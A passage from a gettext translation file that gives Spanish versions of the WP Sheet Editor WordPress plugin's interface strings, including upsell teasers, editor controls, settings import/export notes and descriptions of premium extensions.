                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

